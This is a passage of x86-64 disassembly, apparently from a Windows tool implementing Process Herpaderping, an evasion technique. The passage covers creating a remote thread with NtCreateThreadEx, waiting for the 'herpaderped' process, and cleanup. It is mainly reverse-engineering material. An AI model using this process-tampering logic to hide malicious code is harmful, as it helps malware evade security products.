mov qword [rsp + 0x1a0], rax
lea rcx, [rsp + 0xbb8]
call fcn.14000af30
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x1a0]
xor r8d, r8d
mov edx, 0x1fffff
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
jge 0x14000ca0d
lea rcx, [rsp + 0xbb8]
call fcn.14000d550
lea r8, str.Failed_to_create_remote_thread
mov edx, dword [rsp + 0x68]
mov ecx, 8
call fcn.14002d5b0
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0
jge 0x14000c98b
mov rax, qword [rsp + 0xc18]
mov r9d, dword [rsp + 0x90]
lea r8, [0x14003aea0]
mov edx, 0x196
mov rcx, rax
call fcn.14000cc90
mov dword [rsp + 0x98], eax
lea rcx, [rsp + 0xbb8]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0x98]
jmp 0x14000cb77
mov dword [rsp + 0x9c], 0
lea rcx, [rsp + 0xbb8]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0x9c]
jmp 0x14000cb77
lea rcx, [rsp + 0xbb8]
call fcn.140009740
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov r8d, eax
lea rdx, str.Created_thread__TID__lu
mov ecx, 2
call fcn.14002d620
mov eax, dword [rsp + 0xc40]
and eax, 0x10
test eax, eax
jne 0x14000ca52
lea rcx, [rsp + 0xba0]
call fcn.14000d540
mov eax, dword [rsp + 0xc40]
and eax, 2
test eax, eax
jne 0x14000ca75
call fcn.1400097e0
mov rdx, rax
lea rcx, [rsp + 0xb88]
call fcn.14000d5c0
mov eax, dword [rsp + 0xc40]
and eax, 1
test eax, eax
je 0x14000caf3
lea rdx, str.Waiting_for_herpaderped_process_to_exit
mov ecx, 1
call fcn.14002d620
lea rcx, [rsp + 0xb80]
call fcn.140009740
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xbe4], 0
lea rcx, [rsp + 0xb80]
call fcn.140009740
lea rdx, [rsp + 0xbe4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r8d, dword [rsp + 0xbe4]
lea rdx, str.Herpaderped_process_exited_with_code_0x_08x
mov ecx, 1
call fcn.14002d620
jmp 0x14000cb04
lea rdx, str.Successfully_spawned_herpaderped_process
mov ecx, 1
call fcn.14002d620
mov dword [rsp + 0xa0], 0
lea rcx, [rsp + 0xbb8]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb98]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xb88]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xbc0]
call fcn.1400032f0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000aee0
nop
lea rcx, [rsp + 0xba0]
call fcn.14000aec0
nop
lea rcx, [rsp + 0xb80]
call fcn.14000aee0
mov eax, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0xbf8]
xor rcx, rsp
call fcn.1400317d0
add rsp, 0xc08
pop rdi
pop rsi
ret